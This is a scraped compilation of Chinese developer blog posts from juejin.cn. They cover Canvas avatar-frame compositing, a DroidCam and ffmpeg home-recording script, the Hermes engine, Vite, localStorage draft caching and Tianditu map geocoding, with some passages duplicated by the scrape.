<canvas ref="avatarFrameCanvas" style="display: none;">canvas>
compositeAvatar
为组合头像 ,avatarData
为头像数据 ,compositeCanvas
头像 Canvas ,avatarFrameCanvas
头像框 Canvas- 在没有
compositeAvatar
的时候展示avatarData
, 没有avatarData
提示用户点击PLUS
的图片
<div class="festival-avatar-preview">
<div class="festival-avatar-preview__plus" @click="openAvatarDialog">
<img v-if="compositeAvatar" :src="compositeAvatar" alt="合成头像"/>
<img v-else-if="avatarData" :src="avatarData" alt="头像"/>
<el-icon v-else color="#8c939d" size="28">
<Plus>Plus>
el-icon>
div>
div>
<canvas ref="compositeCanvas" style="display: none;">canvas>
<canvas ref="avatarFrameCanvas" style="display: none;">canvas>
逻辑部分 (核心部分)
- 通过
toDataURL
转换后合成为组合头像 , 通过 drawImage
合并 avatarFrameCanvas
和上文中avatarData
进行合并
const context = getCanvasContext(compositeCanvas); // 获取主 Canvas 上下文
const frameContext = getCanvasContext(avatarFrameCanvas); // 获取头像框 Canvas 上下文
// 省略非相关逻辑 , context 中写入 avatarData 内容
// 将处理后的头像框绘制到主 Canvas 上
context.drawImage(avatarFrameCanvas.value, 0, 0, avatarImg.width, avatarImg.height);
// 将合成后的图片转换为数据 URL
compositeAvatar.value = compositeCanvas.value!.toDataURL('image/png');
- 通过
toDataURL
转换后合成为组合头像 , 通过drawImage
合并avatarFrameCanvas
和上文中avatarData
进行合并
const context = getCanvasContext(compositeCanvas); // 获取主 Canvas 上下文
const frameContext = getCanvasContext(avatarFrameCanvas); // 获取头像框 Canvas 上下文
// 省略非相关逻辑 , context 中写入 avatarData 内容
// 将处理后的头像框绘制到主 Canvas 上
context.drawImage(avatarFrameCanvas.value, 0, 0, avatarImg.width, avatarImg.height);
// 将合成后的图片转换为数据 URL
compositeAvatar.value = compositeCanvas.value!.toDataURL('image/png');
实现效果
当我们点击头像框的时候,合并头像
当我们点击头像框的时候,合并头像
3. 头像框透明度调整
页面部分 与上文一样 , 通过调整 avatarFrameCanvas
的内容而调整头像框
页面部分 与上文一样 , 通过调整 avatarFrameCanvas
的内容而调整头像框
逻辑部分 (核心部分)
通过 context
中 globalAlpha
属性设置全局透明度。
setFrameOpacity(frameContext, frameOpacity.value); // 设置头像框透明度
/**
* 设置 Canvas 的透明度
* @param context Canvas 的 2D 上下文
* @param opacity 透明度值
*/
function setFrameOpacity(context: CanvasRenderingContext2D, opacity: number) {
context.globalAlpha = opacity; // 设置全局透明度
}
通过 context
中 globalAlpha
属性设置全局透明度。
setFrameOpacity(frameContext, frameOpacity.value); // 设置头像框透明度
/**
* 设置 Canvas 的透明度
* @param context Canvas 的 2D 上下文
* @param opacity 透明度值
*/
function setFrameOpacity(context: CanvasRenderingContext2D, opacity: number) {
context.globalAlpha = opacity; // 设置全局透明度
}
实现效果
4. 头像框颜色过滤
页面部分 与上文一样 , 通过调整 avatarFrameCanvas
的内容而调整头像框
服务对象 我们有自定义头像框功能,但是自己找的头像很容易有白底
的问题,所以更新此功能。
页面部分 与上文一样 , 通过调整 avatarFrameCanvas
的内容而调整头像框
服务对象 我们有自定义头像框功能,但是自己找的头像很容易有白底
的问题,所以更新此功能。
逻辑部分 (核心部分)
filterColorToTransparent
函数
- 作用:将与指定颜色相近的像素变为透明。
colorDistance
函数
- 作用:计算两种颜色(RGB 值)之间的距离。距离越小,颜色越相似。
- 计算方式:使用欧几里得距离公式计算两个 RGB 颜色向量之间的距离,如果距离小于一定的容差值(
tolerance
),则认为两种颜色足够接近。
rgbStringToArray
函数
- 作用:将 RGB 字符串(例如
'rgb(255,255,255)'
)转换为包含 r, g, b
值的对象。
/**
* 将指定颜色过滤为透明
* @param context Canvas 的 2D 上下文
* @param width Canvas 宽度
* @param height Canvas 高度
*/
function filterColorToTransparent(context: CanvasRenderingContext2D, width: number, height: number) {
const frameImageData = context.getImageData(0, 0, width, height);
const data = frameImageData.data;
const targetColor = rgbStringToArray(colorFilter.value.color); // 将目标颜色转换为 RGB 数组
// 遍历所有像素点
for (let i = 0; i < data.length; i += 4) {
const r = data[i];
const g = data[i + 1];
const b = data[i + 2];
const distance = colorDistance({r, g, b}, targetColor); // 计算当前颜色与目标颜色的差距
// 如果颜色差距在容差范围内,则将其透明度设为 0
if (distance <= colorFilter.value.tolerance) {
data[i + 3] = 0; // 设置 alpha 通道为 0(透明)
}
}
// 将处理后的图像数据放回 Canvas
context.putImageData(frameImageData, 0, 0);
}
/**
* 计算两种颜色之间的距离(欧几里得距离)
* @param color1 颜色 1,包含 r、g、b 属性
* @param color2 颜色 2,包含 r、g、b 属性
* @returns number 返回颜色之间的距离
*/
function colorDistance(color1: { r: number; g: number; b: number }, color2: { r: number; g: number; b: number }) {
return Math.sqrt(
(color1.r - color2.r) ** 2 +
(color1.g - color2.g) ** 2 +
(color1.b - color2.b) ** 2
);
}
/**
* 将 RGB 字符串转换为 RGB 数组
* @param rgbString RGB 字符串(例如 'rgb(255,255,255)')
* @returns 返回一个包含 r、g、b 值的对象
*/
function rgbStringToArray(rgbString: string) {
const result = rgbString.match(/\d+/g)?.map(Number) || [0, 0, 0]; // 匹配并转换 RGB 值
return {r: result[0], g: result[1], b: result[2]}; // 返回 r、g、b 对象
}
filterColorToTransparent
函数
- 作用:将与指定颜色相近的像素变为透明。
colorDistance
函数
- 作用:计算两种颜色(RGB 值)之间的距离。距离越小,颜色越相似。
- 计算方式:使用欧几里得距离公式计算两个 RGB 颜色向量之间的距离,如果距离小于一定的容差值(
tolerance
),则认为两种颜色足够接近。
rgbStringToArray
函数
- 作用:将 RGB 字符串(例如
'rgb(255,255,255)'
)转换为包含r, g, b
值的对象。
/**
* 将指定颜色过滤为透明
* @param context Canvas 的 2D 上下文
* @param width Canvas 宽度
* @param height Canvas 高度
*/
function filterColorToTransparent(context: CanvasRenderingContext2D, width: number, height: number) {
const frameImageData = context.getImageData(0, 0, width, height);
const data = frameImageData.data;
const targetColor = rgbStringToArray(colorFilter.value.color); // 将目标颜色转换为 RGB 数组
// 遍历所有像素点
for (let i = 0; i < data.length; i += 4) {
const r = data[i];
const g = data[i + 1];
const b = data[i + 2];
const distance = colorDistance({r, g, b}, targetColor); // 计算当前颜色与目标颜色的差距
// 如果颜色差距在容差范围内,则将其透明度设为 0
if (distance <= colorFilter.value.tolerance) {
data[i + 3] = 0; // 设置 alpha 通道为 0(透明)
}
}
// 将处理后的图像数据放回 Canvas
context.putImageData(frameImageData, 0, 0);
}
/**
* 计算两种颜色之间的距离(欧几里得距离)
* @param color1 颜色 1,包含 r、g、b 属性
* @param color2 颜色 2,包含 r、g、b 属性
* @returns number 返回颜色之间的距离
*/
function colorDistance(color1: { r: number; g: number; b: number }, color2: { r: number; g: number; b: number }) {
return Math.sqrt(
(color1.r - color2.r) ** 2 +
(color1.g - color2.g) ** 2 +
(color1.b - color2.b) ** 2
);
}
/**
* 将 RGB 字符串转换为 RGB 数组
* @param rgbString RGB 字符串(例如 'rgb(255,255,255)')
* @returns 返回一个包含 r、g、b 值的对象
*/
function rgbStringToArray(rgbString: string) {
const result = rgbString.match(/\d+/g)?.map(Number) || [0, 0, 0]; // 匹配并转换 RGB 值
return {r: result[0], g: result[1], b: result[2]}; // 返回 r、g、b 对象
}
实现效果
- 在 Canva 自己制作一个头像
- 上传头像框,制作头像 ( 过滤白色 )
- 在 Canva 自己制作一个头像
- 上传头像框,制作头像 ( 过滤白色 )
六、结束语
开发很容易,祝大家各个节日快乐 !!!
来源:juejin.cn/post/7419223935005605914
我的车被划了,看我实现简易监控拿捏他!node+DroidCam+ffmpeg
某天我骑着我的小电驴下班回到我那出租屋,习惯性的看了一眼我那停在门口的二手奥拓,突然发现有点不对劲,走近一看引擎盖上多了一大条划痕,顿时恶向胆边生,是谁!!!为此我决定用现有条件做一套简易的监控系统来应对日后的情况,于是有了这篇文章。
一 准备工作
由于是要做监控,硬件是必不可少的,所以首先想到的就是闲置的手机了,找了一台安卓8.1的古董出来,就决定是你了。因为之前在公司使用过
DroidCam这款软件用来进行webRTC的开发,所以这次就顺理成章的装了这款软件,连上家里的wifi后打开就相当于有了一台简易的视频服务器。那么硬件搞定了,接下来的就是软件了。梳理下来的话只有以下几点了
- 拉取DroidCam上的视频流
- 将拉取到的内容做存储
由于本人是个前端,因此这里就顺理成章的使用node来作为软件实现的第一方案了。
二 获取视频流,啊?怎么是这玩意儿
怎么获取它传过来的视频流呢?看了一下上打开的软件界面,发现给了两个地址,ip端口 和 ip端口/video,不出意料的这两个里面肯定是有能用的东西,挨个打开后发现不带video的地址是相当于一个控制台,带video的是视频的接口地址。那就好办了,我满怀激动的以为一切都很容易的时候,打开控制台一看,咦,这是啥玩意儿?它的所谓的视频是现在img标签里的,这在之前可是没见过哦,再看一眼接口地址,咦,这是一个长链接?点开详情看了一眼,好吧,又学到新东西了。它的Content-Type是multipart/x-mixed-replace;boundary='xxxx'
,这是啥呀,搜索了一下资料后如下。
MJPEG(Motion Joint Photographic Experts Gr0up)是一种视频压缩格式,其中每一帧图像都分别使用JPEG编码,不使用帧间编码,压缩率通常在20:1-50:1范围内。它的原理是把视频镜头拍成的视频分解成一张张分离的jpg数据发送到客户端。当客户端不断显示图片,即可形成相应的图像。
大致意思懂了,就是这就是一张张的图像呗。后面又看了一下服务端是如何生成这玩意儿的,这里就不细说了。
知道了是啥东西,那就要想怎么把它搞出来了
三 使用ffmpeg 获取每一帧
ffmpeg相信大家都不陌生,使用前需要先在本机上安装,安装方法的话这里就不赘述了。
安装后在系统环境变量高级设置中,增加path变量的值为ffmpeg在电脑上的路径。后续就可以使用了。
随便新建一个js文件
const fs = require('fs')
const path = require('path')
//截取的视频帧的存储路径和命名方式
const outputFilePattern = path.join(__dirname + '/newFrame', 'd.jpg');
//视频服务器地址
const mjpegUrl = 'http://192.168.2.101:4747/video?1920x1080';
//通过child_process的spawn调用外部文件,执行ffmpeg,并传入参数
//下方代码执行后在连接到服务后不手动停止的情况下期间会不断的在指定目录下生成获取到的图片
const ffmpeg = require('child_process').spawn('ffmpeg', [
'-i',
mjpegUrl,
'-vf',
'fps=24',//设置帧率
'-q:v',
'1', // 调整此值以更改输出质量(较低的值表示更好的质量)
outputFilePattern // %d 将被替换为帧编号
], { windowsHide: true });//调用时不显示cmd窗口
//错误监听
ffmpeg.on('error', function (err) {
throw err;
});
//关闭监听
ffmpeg.on('close', function (code) {
console.log('ffmpeg exited with code ' + code);
});
//数据
ffmpeg.stderr.on('data', function (data) {
console.log('stderr: ' + data.toString());
//执行合并图片操作
//....
});
上述代码运行后如果能正常连接上服务的话你会在指定目录下看到不断生成的图片。
四 将图片生成为视频
光有图片是不够的,我最终的预期是生成视频以供查看,所以添加以下的代码将图片合并为视频
//上面生成图片后存放的位置
let filePath = path.join(__dirname + '/newFrame', 'd.jpg');
let comd = [
'-framerate',
'24',
'-i',
filePath,
'-c:v',
'libx264',
'-pix_fmt',
'yuv420p',
`${__dirname}/outVideo/${new Date().getFullYear()}-${(new Date().getMonth() + 1).toString().padStart(2, '0')}-${new Date().getDate().toString().padStart(2, '0')}_${new Date().getHours().toString().padStart(2, '0')}${new Date().getMinutes().toString().padStart(2, '0')}${new Date().getSeconds().toString().padStart(2, '0')}.mp4`
]
const ffmpeg = require('child_process').spawn('ffmpeg', comd,{ windowsHide: true });
ffmpeg.on('close', function (code) {
console.log('ffmpeg exited with code ' + code);
console.log('任务执行结束,开始删除')
});
我这里定的是每2000张图片组合成视频,因此将第三步
中的
ffmpeg.stderr.on('data', function (data) {
console.log('stderr: ' + data.toString());
});
改成
ffmpeg.stderr.on('data', function (data) {
console.log('stderr: ' + data.toString());
//打印结果 =>>frame= 1474 fps= 14 q=1.0 size=N/A time=00:01:01.41 bitrate=N/A speed=0.57x
let arr = data.toString().split('fps')
try {
//获取frame数量用来计数
frameCount = arr[0].split('=')[1].trim()
console.log(frameCount)
//为什么这里用大于而不是等于呢,因为获取frame可能不是总会计数到我们想要的值,踩过坑,注意
if (frameCount > 2000) {
console.log('数量满足')
//关闭本次获取流
ffmpeg.kill('SIGKILL');
//这里执行合并文件的操作
//...
}
} catch (e) { }
});
到这里如果你一切顺利的话就能在指定的文件夹里看到合并完成后的MP4视频了。
五 合并完成后删除上次获取的图片
将第四步
的
ffmpeg.on('close', function (code) {
console.log('ffmpeg exited with code ' + code);
console.log('任务执行结束,开始删除')
});
改为
ffmpeg.on('close', async function (code) {
console.log('ffmpeg exited with code ' + code);
console.log('任务执行结束,开始删除')
try {
await fsE.emptyDir('your folderPath');
console.log(`已清空文件夹`);
//重新执行第二步
//...
} catch (err) {
console.error(`无法清空文件夹: ${err}`);
}
});
这里的fsE
是 const fsE = require('fs-extra');
,需要安装并且导入
到这里为止,整个基本的流程就完成了
六 总结
整个程序到目前为止已经能基本满足我的需求,但是还存在不足,比如频繁的往硬盘上读写文件、容错处理等等,后续我的想法是把图片保存到内存中,在满足条件后再写入硬盘,减少文件的I/O操作,加入对人体的识别,接入之前写过的邮件通知,有人靠近自动记录时间点并发送到邮箱。当然了,我这个肯定比不了市面上的那些成熟产品,就是自己写着好玩的,请各位大佬轻喷!有错误和意见欢迎指正!
来源:juejin.cn/post/7419887017164767268
强大的一笔的Hermes引擎,是如何让你的 App 脱颖而出的!
Hermes 是一款由 Facebook 开源的轻量级 JavaScript 引擎,专门针对 React Native 应用进行了优化。与传统的 JavaScript 引擎(例如 JavaScriptCore 和 V8)相比,Hermes 具有以下优势:
启动时间更快: Hermes 使用预编译字节码(AOT),而不是即时编译(JIT),这可以显著缩短应用的启动时间。
更小的内存占用: Hermes 的体积小巧,占用内存更少,这对于移动设备尤为重要。
更小的应用包大小: 由于 Hermes 的体积小巧,因此可以减小 React Native 应用的包大小。
高效的性能的原因
先看下面这幅图:
Hermes Engine 的设计初衷是为了优化 React Native 应用的性能。它通过对 JavaScript 代码的提前编译,将其转化为字节码,从而减少了运行时的解析时间。这种预编译机制使得应用启动速度显著提升,用户体验更加流畅。
在 CPU 利用率方面,Hermes 也有显著的优势。
通过优化 JavaScript 执行和垃圾回收过程,Hermes 提供了更快的启动时间和更低的内存占用。研究表明,使用 Hermes 的应用在性能上有显著提升,用户体验更加流畅
内存占用和包大小优化
Hermes 采用了优化的内存管理机制,如内存池和高效的垃圾回收算法,能够减少应用在运行时的内存占用。这对于资源受限的移动设备尤为关键。使用 Hermes 编译的应用包体积通常更小。这对于需要快速下载安装的应用很有优势,也有助于提高应用在应用商店的排名。上图就是 Stock RN 应用基于 Hermes 引擎的内存优化后的实际效果。
良好的兼容性
Hermes 提供了强大的调试工具,帮助开发者快速定位和解决问题。其集成的调试功能使得开发者能够实时监控应用的性能,及时发现并修复潜在的性能瓶颈。
Hermes 得到了 Facebook 和开源社区的广泛支持,拥有丰富的文档和活跃的开发者社区。开发者可以轻松获取资源和支持,促进了 Hermes 的快速发展和普及。
一些小众第三方库不支持 Hermes 引擎
虽然,大多数比较有名的第三方库都是支持 Hermes引擎的,但是有一个小小的问题,有些比较小众的第三方库,是不支持 hermes 引擎的,这个时候,你可需要想办法自己改写下这个第三方库,或者给作者提建议。
如,腾讯云 cos ,React Native 的库,就是不支持 Hermes 引擎的。相关issue 在这里:
不过,对于这个问题,你完全可以使用 restful api 呀,所以,解决问题的方式太多了,不要因为一个小众的三方库而放弃恐怖的性能提升,多少有点不值当。
实际应用案例
许多知名应用已经开始采用 Hermes Engine,以提升其性能。例如,Facebook 和 Instagram 的部分功能已成功迁移至 Hermes,用户反馈显示应用的启动时间和流畅度均有显著改善。这些成功案例进一步验证了 Hermes 的强大实力。
如何用上Hermes 引擎
如果你在使用 Expo 做移动端跨端研发,那么恭喜你,默认就是使用的 Hermes 引擎,无需任何配置,如果你想显式配置,也无妨,甚至你可以指定 ios 使用jsc 引擎。
{
"expo": {
"jsEngine": "hermes",
"ios": {
"jsEngine": "jsc"
}
}
}
如果你使用的是 React Native 0.70 或更高版本,则 Hermes 引擎将默认启用。如果你使用的是较早版本的 React Native,则可以按照 React Native 文档 中的说明启用 Hermes 引擎。配置简单的就啰嗦。小伙伴们,React Native 要吊打 Flutter了 吗?拍拍砖?
来源:juejin.cn/post/7394095950383743015
Vite 为何短短几年内变成这样?
给前端以福利,给编程以复利。大家好,我是大家的林语冰。
00. 观前须知
在 Web 开发领域,Vite 如今已如雷贯耳。
自 2020 年 4 月发布以来,Vite 的人气蒸蒸日上。目前 Vite 在 GitHub 上的收藏数量已超过 64k,每周下载量超过 1200 万次,现在为 Nuxt、Remix、Astro 等大多数开源框架提供支持。
尽管众口嚣嚣,我们意识到许多开发者可能仍然不熟悉 Vite 是什么鬼物,也不熟悉 Vite 在推动现代 Web 框架和工具的开发中扮演的重要角色。
在本文中,我们将科普 Vite 的知识储备,以及 Vite 如何在短短几年后发展成为现代 Web 的重量级角色。
免责声明
本文属于是语冰的直男翻译了属于是,略有删改,仅供粉丝参考。英文原味版请传送 What is Vite (and why is it so popular)?。
01. Vite 是什么鬼物?
Vite 的发音为 /vit/
,在法语中是“快速”或“迅捷”的意思,不得不说 Vite 名副其实。
简而言之,Vite 是一种现代 JS 构建工具,为常见 Web 模式提供开箱即用的支持和构建优化,兼具 rollup
的自由度和成熟度。
Vite 还与 esbuild
和原生 ES 模块强强联手,实现快速无打包开发服务器。
Vite 是由“Vue 之父”尤雨溪(Evan You)构思出来的,旨在通过减少开发者在启动开发服务器和处理文件编辑后重载时遭遇的性能瓶颈,简化打包过程。
02. Vite 的核心特性
运行 Vite 时,你会注意到的第一个区别在于,开发服务器会即时启动。
这是因为,Vite 采用按需方法将你的应用程序提供给浏览器。Vite 不会首先打包整个源码,而是响应浏览器请求,将你编写的模块即时转换为浏览器可以理解的原生 ESM 模块。
Vite 为 TS、PostCSS、CSS 预处理器等提供开箱即用的支持,且可以通过不断增长的插件生态系统进行扩展,支持所有你喜欢的框架和工具。
每当你在开发期间更改项目中的任意文件时,Vite 都会使用应用程序的模块图,只热重载受影响的模块(HMR)。这允许开发者预览他们的更改,及其对应用程序的影响。
Vite 的 HMR 速度惊人,可以让编辑器自动保存,并获得类似于在浏览器开发工具中修改 CSS 时的反馈循环。
Vite 还执行 依赖预构建(dependency pre-bundling)。在开发过程中,Vite 使用 esbuild
来打包你的依赖并缓存,加快未来服务器的启动速度。
此优化步骤还有助于加快 lodash
等导出许多迷你模块的依赖的加载时间,因为浏览器只加载每个依赖的代码块(chunk)。这还允许 Vite 在依赖中支持 CJS 和 UMD 代码,因为它们被打包到原生 ESM 模块中。
当你准备好部署时,Vite 将使用优化的 rollup
设置来构建你的应用程序。Vite 会执行 CSS 代码分割,添加预加载指令,并优化异步块的加载,无需任何配置。
Vite 提供了一个通用的 rollup
兼容插件 API,适用于开发和生产,使你可以更轻松地扩展和自定义构建过程。
03. Vite 的优势
使用 Vite 有若干主要优势,包括但不限于:
03-1. 开源且独立
Vite 由开源开发者社区“用爱发电”,由来自不同背景的开发者团队领导,Vite 核心仓库最近贡献者数量已突破 900 人。
Vite 得到积极的开发和维护,不断实现新功能并解决错误。
03-2. 本地敏捷开发
开发体验是 Vite 的核心,每次点击保存时,你都能感受到延迟。我们常常认为重载速度是理所当然的。
但随着您的应用程序增长,且重载速度逐渐停止,你将感恩 Vite 几乎能够保持瞬间重载,而无论应用程序大小如何。
03-3. 广泛的生态系统支持
Vite 的方案人气爆棚,大多数框架和工具都默认使用 Vite 或拥有一流的支持。通过选择使用 Vite 作为构建工具,这些项目维护者可以在它们之间共享一个统一基建,且随着时间的推移共同改良 Vite。
因此,它们可以花更多的时间开发用户需要的功能,而减少重新造轮子的时间。
03-4. 易于扩展
Vite 对 rollup
插件 API 的押注得到了回报。插件允许下游项目共享 Vite 核心提供的功能。
我们有很多高质量的插件可供使用,例如 vite-plugin-pwa
和 vite-imagetools
。
03-5. 框架构建难题中的重要角色
Vite 是现代元框架构建的重要组成部分之一,这是一个更大的工具生态系统的一部分。
Volar 提供了在代码编辑器中为 Vue、MDX 和 Astro 等自定义编程语言构建可靠且高性能的编辑体验所需的工具。Volar 允许框架向用户提供悬停信息、诊断和自动补全等功能,并共享 Volar 作为为它们提供支持的通用基建。
另一个很好的例子是 Nitro,它是一个服务器工具包,用于创建功能齐全的 Web 服务器,开箱即用地支持每个主要部署平台。Nitro 是一个与框架无关的库 UnJS 的奇妙集合的一部分。
04. Vite 的未来
在最近的 ViteConf 大会的演讲中,尤雨溪表示,虽然 Vite 取得了巨大进展,但仍面临一些已知的问题和挑战。
Vite 目前使用 rollup
进行生产构建,这比 esbuild
或 Bun
等原生打包器慢得多。
Vite 还尽可能减少开发和生产环境之间的不一致性,但考虑到 rollup
和 esbuild
之间的差异,某些不一致性无法避免。
尤雨溪现在领导一个新团队开发 rolldown
,这是一个基于 Rust 的 rollup
移植,在 “JS 氧化编译器 OXC”之上构建了最大的兼容性。
这个主意是用 rolldown
替代 Vite 中的 rollup
和 esbuild
。Vite 将拥有一个单独基建,兼具 rollup
的自由度和 esbuild
的速度,消除不一致性,使代码库更易于维护,并加快构建时间。
rolldown
目前处于早期阶段,但已经显示出有希望的结果。rolldown
现已开源,rolldown
团队正在寻找贡献者来辅助实现这一愿景。
与此同时,Vite 团队在每个版本中不断改良 Vite。这项工作从上游的为 Vitest 和 Nuxt Dev SSR 提供动力的引擎 vite-node
开始,现已发展成为框架作者对 Vite API 的完整修订版。
新版 Environment API 预计在 Vite 6 中发布,这将是自 Vite 2 发布以来 Vite 最大的变化之一。这将允许在任意数量的环境中通过 Vite 插件管道运行代码,解锁对 worker、RSC 等的一流支持。
Vite 正在开辟一条前进的道路,并迅速成为 JS 生态系统事实上的构建工具。
参考文献
- Vite:vitejs.dev
- Blog:blog.stackblitz.com/posts/what-…
- Rolldown:rolldown.rs
粉丝互动
本期话题是:如何评价人气爆棚的 Vite,你最喜欢或期待 Vite 的哪个功能?你可以在本文下方自由言论,文明科普。
欢迎持续关注“前端俱乐部”,给前端以福利,给编程以复利。
坚持阅读的小伙伴可以给自己点赞!谢谢大家的点赞,掰掰~
来源:juejin.cn/post/7368836713965486119
因为编辑器没做草稿,老板崩溃了。。。
现场
大家好,我是多喝热水。
事情是这样的,那天晚上老板在群里吐槽说他在手机上写了将近 1000 字的评论不小心点了一下黑屏,然后内容就突然没了,如下:
原来是我们编辑器没有做草稿能力,导致关闭后原本编辑的内容都消失了,确实这个体验不太好,想想怎么把这里优化一下。
调研
像我们平时用得比较多的社交平台,比如某音、某书等,先从它们的评论区入手,看看主流的平台是怎么做的。
1)某音
某音的效果是,在某条视频下评论后划走,再划回来编辑的内容就不在了,看样子是没有做草稿能力,如图:
2)某书
某书的效果是,在某个笔记下面评论然后划走,再回来的时候内容是还在的。而且每条评论都有自己的编辑态,互不干扰,如图:
好看真好看,呸好用真好用,既然体验上某书更好,我决定仿照某书的方案来实现。
既然要做成某书的效果,那我们就需要解决两个问题:
1)他们评论区草稿内容是怎么存的?
2)存在哪里了?
内容怎么存?
先说说我的看法,如果要让每条评论都拥有独立的编辑态,那么肯定是需要一个唯一标识的,那我能想到的唯一标识就是ID。
内容存哪里?
存后端还是存前端?存前端的话又存哪里?这里我简单总结了一下:
存后端
优势:数据真正的持久化、安全性高
缺陷:需要网络连接,依赖后端,开发成本高
存前端
优势:简单易用、性能好、脱机可用
缺陷:无法真正持久化、存储空间有限、不安全
方案选择
回归到需求本身,我们不需要实时性多么高,所以存前端就已经可以满足我们的需求了。
但在前端存储还有一个存储空间问题,需要考虑一下存储内容的有效时间,过期了就得删除,不然会存在很多冗余数据,所以我们又面临新的问题,前端用什么来存?
浏览器常用的存储方案:cookie、localStorage、sessionStorage
1)cookie 是可以设置过期时间的,但如果存 cookie,那它的容量只有5kb,有点太小了,并且每次发请求 cookie 都会被携带上,无疑是增加了额外的带宽开销
2)sessionStorage 存储空间最大支持5MB,但窗口被关闭后数据就过期了,有效期仅仅是窗口会话期间,万一用户不小心关闭了窗口,数据也消失了,所以这个方案也不太妥当
3)相比之下 localStorage 的容量也有 5MB,足够大,但是它本身不支持设置过期时间(默认永久有效),需要人为去控制,好在这个成本并不高,综合之下我们还是选择存 localStorage 了
开发
选好方案后,就可以开始动手开发了!先把支持控制过期时间 的 localStorage 逻辑写一下。
写之前我们需要考虑一下代码的复用性,因为在我们网站中,有很多地方都用到了编辑器,比如评论区、交流内容发布等,如果每一处都写一遍的话,那这个代码就太冗余了,所以将它封装为一个 hook 是一个不错的选择,代码如下:
import { CACHE_TYPE, EXPIRES_TIME } from './constants';
/**
* 缓存数据
* @param key
* @returns
*/
export default function useCache(key: string = CACHE_TYPE.ESSAY_CONTENT) {
/**
* 删除缓存数据
*/
const removeCache = () => {
localStorage.removeItem(key);
};
/**
* 设置缓存数据
* @param data 数据内容
* @param expires 过期时间(毫秒)
*/
const setCache = (data: any, expires: number = EXPIRES_TIME) => {
const cacheData = {
value: data,
expires: expires ? Date.now() + expires : null, // 计算过期时间戳
};
localStorage.setItem(key, JSON.stringify(cacheData));
};
/**
* 获取缓存数据
* @returns 缓存数据或 null
*/
const getCache = () => {
const cachedString = localStorage.getItem(key);
if (!cachedString) {
return null;
}
const cachedObject = JSON.parse(cachedString);
// 检查是否设置了过期时间并且是否已经过期
if (cachedObject.expires && Date.now() > cachedObject.expires) {
removeCache(); // 删除已过期的数据
return null;
}
return cachedObject.value;
};
return { removeCache, setCache, getCache };
}
简单解释一下上面的代码:
1)useCache 函数主要接收一个 KEY,删除、获取、设置草稿数据都会用到这个 KEY,且我们保证它是唯一的
2)在设置需要缓存内容时(setCache),会给出一个 expires 的参数用于控制该数据的有效时间
3)获取数据的时候会校验一下有效时间,如果已经过期了则返回 null
在编辑器中应用
最后我们需要在用到编辑器的地方使用这个 hook。
可能有些小伙伴会觉得我们网站中用到编辑器的地方很多,这一步才是一个大工程,其实不然,因为我们所有用到编辑器的地方都是用的同一个组件,我们需要改动的地方就是那个公共的编辑器组件!
这时候封装带来的便捷性就体现的淋漓尽致,省去了不少时间用来摸鱼!!!
改动代码如下(伪代码):
type GeneralContentEditorProps = {
targetId?: string; // 缓存ID
// 省略不相关代码...
};
/**
* 通用的内容编辑器
* @param props
* @returns
*/
export default function GeneralContentEditor({
targetId,
// 省略不相关代码...
}: GeneralContentEditorProps) {
// 省略不相关代码...
const [content, setContent] = useState('')
const { getCache, setCache, removeCache } = useCache(targetId);
useEffect(() => {
setContent(getCache() ?? '')
}, [])
}
简单解释一下上面的代码:
1)给编辑器新增了一个属性 targetId,这个 targetId 用来作为缓存的唯一标识,由使用方提供给我们
2)初始化的时候去调 getCache 函数读取缓存的数据
3)有内容变更的时候调 setCache 函数去更新缓存的数据
到这里流程已经跑通了,但还缺少重要的一步,需要定时清空一下缓存的数据,因为现在的逻辑是如果我们不主动去获取这个数据,它还是占据着存储空间。
清空冗余数据
其实我们也不需要专门去写定时器来清空,只需要在编辑器初始化的时候去检测一遍就可以,所以代码还需加点料,如下图:
到这一步编辑器草稿能力就完善的差不多了,已经能够正常使用了,我们看看效果,如下:
nice,没有什么问题,好了,我要去摸鱼了 😋
来源:juejin.cn/post/7419598991119532043
老板想集成地图又不想花钱,于是让我...
前言
在数字化时代,地图服务已成为各类应用的标配,无论是导航、位置分享还是商业分析,地图都扮演着不可或缺的角色。然而,高质量的地图服务往往伴随着不菲的授权费用。公司原先使用的是国内某知名地图服务,但随着业务的扩展和成本的考量,老板决定寻找一种成本更低的解决方案。于是,我们的目光转向了免费的地图服务——天地图。
天地图简介
天地图(lbs.tianditu.gov.cn/server/guid…
是中国领先的在线地图服务之一,提供全面的地理信息服务。它的API支持地理编码、逆地理编码、周边搜索等多种功能,且完全免费。这正是我们需要的。
具体实现代码
为了将天地图集成到我们的系统中,我们需要进行一系列的开发工作。以下是实现过程中的关键代码段。
1. 逆地理编码
逆地理编码是将经纬度转换为可读的地址。在天地图中,这一功能可以通过以下代码实现:
public static MapLocation reverseGeocode(String longitude, String latitude) {
Request request = new Request();
LocateInfo locateInfo = GCJ02_WGS84Utils.gcj02_To_Wgs84(Double.valueOf(latitude), Double.valueOf(longitude));
longitude = String.valueOf(locateInfo.getLongitude());
latitude = String.valueOf(locateInfo.getLatitude());
String postStr = String.format(REVERSE_GEOCODE_POST_STR, longitude, latitude);
String encodedPostStr = null;
try {
encodedPostStr = URLEncoder.encode(postStr, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
String url = REVERSE_GEOCODE_URL + "?tk=" + TK + "&type=" + GEOCODE + "&postStr=" + encodedPostStr;
request.setUrl(url);
Response<String> response = HttpClientHelper.getWithoutUserAgent(request, null);
if (response.getSuccess()) {
String body = response.getBody();
JSONObject jsonObject = JSON.parseObject(body);
String status = jsonObject.getString("status");
if (!"0".equals(status)) {
return null;
}
JSONObject resultObject = jsonObject.getJSONObject("result");
MapLocation mapLocation = new MapLocation();
String formattedAddress = resultObject.getString("formatted_address");
mapLocation.setAddress(formattedAddress);
String locationStr = resultObject.getString("location");
JSONObject location = JSON.parseObject(locationStr);
String lon = location.getString("lon");
String lat = location.getString("lat");
locateInfo = GCJ02_WGS84Utils.wgs84_To_Gcj02(Double.valueOf(lat), Double.valueOf(lon));
lon = String.valueOf(locateInfo.getLongitude());
lat = String.valueOf(locateInfo.getLatitude());
mapLocation.setLongitude(lon);
mapLocation.setLatitude(lat);
JSONObject addressComponent = resultObject.getJSONObject("addressComponent");
String address = addressComponent.getString("address");
mapLocation.setName(address);
mapLocation.setCity(addressComponent.getString("city"));
return mapLocation;
}
return null;
}
2. 周边搜索
周边搜索允许我们根据一个地点的经纬度搜索附近的其他地点。实现代码如下:
public static List<MapLocation> nearbySearch(String query, String longitude, String latitude, String radius) {
LocateInfo locateInfo = GCJ02_WGS84Utils.gcj02_To_Wgs84(Double.valueOf(latitude), Double.valueOf(longitude));
